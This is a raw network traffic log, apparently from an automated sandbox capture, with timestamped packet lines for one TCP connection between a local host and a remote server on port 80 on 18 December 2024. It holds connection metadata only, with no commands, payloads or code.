Dec 18, 2024 20:56:33.377989054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.378038883 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.378978968 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.379105091 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.379141092 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.380636930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.380744934 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.380779982 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.381500006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.381577015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.381616116 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.382369995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.382488012 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.382558107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.383352041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.383431911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.383472919 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.384493113 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.384632111 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.384680033 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.403640032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.403666019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.403703928 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.403979063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.404129982 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.404166937 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.405273914 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.405415058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.405461073 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.406234026 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.450062990 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.531455994 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.531558990 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.531606913 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.531908989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.532008886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.532051086 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.533170938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.533400059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.533451080 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.534004927 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.534111977 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.534166098 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.535162926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.535270929 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.535609007 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.536305904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.536384106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.536429882 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.537394047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.537497044 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.537544012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.538543940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.538647890 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.538687944 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.539633989 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.539758921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.539808989 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.540698051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.540838003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.540885925 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.541785955 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.541950941 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.541996956 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.542810917 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.542943001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.542983055 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.544059992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.544156075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.544198036 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.545182943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.545350075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.545389891 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.546252966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.546451092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.546495914 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.547360897 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.547414064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.547461033 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.548425913 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.548542976 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.548593998 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.549516916 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.549659967 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.549696922 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.550657988 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.550760031 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.550812960 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.551827908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.552036047 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.552083969 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.552826881 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.552970886 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.553013086 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.553951025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.554030895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.554081917 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.555042028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.555140018 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.555177927 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.556154966 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.556269884 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.556391001 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.557291985 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.557415962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.557456970 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.558388948 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.558525085 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.558572054 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.559478045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.559644938 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.559741974 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.560569048 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.560745001 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.560792923 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.561703920 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.561810970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.561866045 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.562809944 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.562927961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.562990904 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.563910961 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.564028025 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.564071894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.564999104 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.565110922 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.565155029 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.566138029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.566226959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.566282988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.567223072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.567341089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.567389011 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.568325996 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.568434954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.568478107 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.569479942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.569581032 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.569632053 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.570573092 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.570687056 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.570743084 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.571656942 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.571763039 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.571865082 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.572767973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.572976112 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.573026896 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.573853970 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.574026108 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.574083090 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.574986935 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.575165033 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.575249910 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.576103926 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.576189995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.576237917 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.577230930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.577385902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.577429056 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.578356981 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.578505039 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.578558922 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.579422951 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.579545021 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.579583883 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.580568075 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.580682039 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.580727100 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.581639051 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.581748962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.581794977 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.582773924 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.582953930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.583003044 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.583920956 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.584075928 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.584141016 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.585050106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.585105896 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.585169077 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.595603943 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.595649004 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.595755100 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.596251965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.596330881 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.596384048 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.597244024 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.597340107 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.597388029 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.598316908 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.649967909 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.723356962 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.723479986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.723541021 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.723891973 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.724056959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.724107981 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.725075006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.725332975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.725379944 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.726119995 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.726222992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.726263046 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.727226019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.727351904 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.727413893 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.728372097 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.728528023 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.728575945 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.729413986 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.729533911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.729579926 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.730531931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.730712891 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.730755091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.731689930 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.731827974 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.731873989 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.732795954 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.732891083 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.732944012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.733860016 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.733952999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.733999014 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.734983921 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.735093117 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.735143900 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.736073971 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.736196041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.736243010 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.737297058 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.737405062 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.737481117 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.738259077 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.738389015 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.738435030 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.739675999 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.740175009 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.740219116 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.741498947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.741692066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.741729975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.742876053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.742981911 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.743024111 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.744617939 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.744702101 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.744771957 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.745379925 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.745486975 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.745531082 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.746145964 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.746273041 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.746311903 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.746974945 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.747071028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.747118950 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.747792006 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.747863054 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.747910976 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.748577118 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.748636007 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.748692989 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.749386072 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.749527931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.749572039 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.750478029 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.750575066 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.750642061 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.751584053 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.751672983 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.751723051 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.752680063 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.752782106 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.752815962 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.753830910 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.753956079 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.753993988 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.754930019 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.755019903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.755075932 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.756025076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.756119013 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.756160975 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.757123947 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.757246017 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.757281065 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.758415937 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.758435965 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.758474112 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.759326935 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.759422064 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.759464979 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.760451078 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.760530949 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.760579109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.761712074 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.761760950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.761805058 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.762649059 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.762778997 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.762820959 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.763792992 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.763931036 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.764019012 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.764873028 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.765119076 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.765165091 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.765995979 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.766119003 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.766158104 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.767118931 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.767277002 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.767326117 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.768213987 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.768354893 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.768390894 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.769367933 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.769442081 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.769491911 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.770473957 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.770608902 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.770656109 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.771528959 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.771699905 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.771742105 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.772643089 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.772743940 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.772789001 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.773763895 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.773875952 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.773920059 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.774893045 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.774987936 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.775039911 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.775981903 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.776191950 CET	80	49747	185.185.71.170	192.168.2.3
Dec 18, 2024 20:56:33.776233912 CET	49747	80	192.168.2.3	185.185.71.170
Dec 18, 2024 20:56:33.777194977 CET	80	49747	185.185.71.170	192.168.2.3
